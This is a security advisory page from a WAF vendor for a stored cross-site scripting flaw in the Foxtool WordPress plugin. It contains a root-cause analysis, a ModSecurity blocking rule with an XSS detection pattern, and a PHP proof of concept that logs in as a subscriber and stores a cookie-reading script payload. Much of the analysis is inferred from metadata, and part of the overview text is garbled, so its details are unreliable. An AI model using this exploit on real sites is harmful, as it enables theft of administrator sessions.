Published : November 18, 2026

CVE-2026-85413: Foxtool All-in-One: Contact chat button, Custom login, Media optimize images <= 2.5.3 Authenticated (Subscriber+) Stored Cross-Site Scripting via 'foxtool_image_id' Parameter PoC, Patch Analysis & Rule

Plugin foxtool
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.5.3
Patched Version —
Disclosed November 17, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-85413 (metadata-based): The Foxtool All-in-One WordPress plugin (versions Edit screen. The CVSS score is 6.4, indicating a medium severity issue with scope change.

Root Cause: The vulnerability stems from improper neutralization of user-supplied input (CWE-79). The plugin likely stores the ‘foxtool_image_id’ value in user meta without adequate sanitization and later renders it in an administrative context without output escaping. Atomic Edge analysis infers that the vulnerable code path involves the ‘foxtool_image_id’ parameter being accepted via a profile update or similar mechanism, then echoed unescaped in the user edit screen. This conclusion is based on the CVE description; no source code is available for confirmation.

Exploitation: An authenticated attacker with subscriber privileges can craft a request to update their user meta, setting ‘foxtoolpic’ to a malicious JavaScript payload. This could be done via the WordPress user profile update form or a custom AJAX action exposed by the plugin. The payload executes when an administrator navigates to the Users > Edit page for that user. The attack vector is network-based, requires low privileges, and needs user interaction from the victim admin.

Remediation: The fix requires sanitizing the ‘foxtool_image_id’ input on save and escaping the output when rendering in the admin screen. Use functions like sanitize_text_field() or esc_attr() as appropriate. Since no patched version is available, users should disable the plugin or apply virtual patching.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in an administrator’s session, leading to potential privilege escalation (e.g., creating admin accounts), data theft, or site takeover. The scope is changed because the vulnerable component impacts other components (admin browser).

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-85413 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/profile.php" 
  "id:202685413,phase:2,deny,status:403,chain,msg:'CVE-2026-85413 via foxtool_image_id parameter XSS',severity:'CRITICAL',tag:'CVE-2026-85413'"
  SecRule ARGS_POST:foxtool_image_id "@rx <script|onerror|onload|javascript:" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-85413 - Foxtool All-in-One: Contact chat button, Custom login, Media optimize images <= 2.5.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'foxtool_image_id' Parameter

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password

// Initialize cURL
$ch = curl_init();

// Step 1: Log in as the subscriber to obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
if ($response === false) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Update user meta with malicious payload via profile update
// The plugin likely hooks into profile update or a custom AJAX action. We assume the parameter 'foxtool_image_id' is accepted in the profile page.
$profile_url = $target_url . '/wp-admin/profile.php';
$payload = '"><script>alert(document.cookie);</script>'; // XSS payload
$profile_data = array(
    'action' => 'update',
    'user_id' => '1', // Assuming user ID 1 (subscriber's own ID, but may need to be dynamic)
    'foxtool_image_id' => $payload,
    'submit' => 'Update Profile'
);

curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($profile_data));
$response = curl_exec($ch);
if ($response === false) {
    die('Profile update failed: ' . curl_error($ch));
}

// Step 3: Trigger execution by simulating admin viewing the user's profile (for verification)
// In a real attack, the admin would visit the page. Here we just note it.
echo "Payload stored. When an admin visits the user's profile edit page, the XSS will execute.n";

curl_close($ch);
unlink('cookies.txt'); // Clean up
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.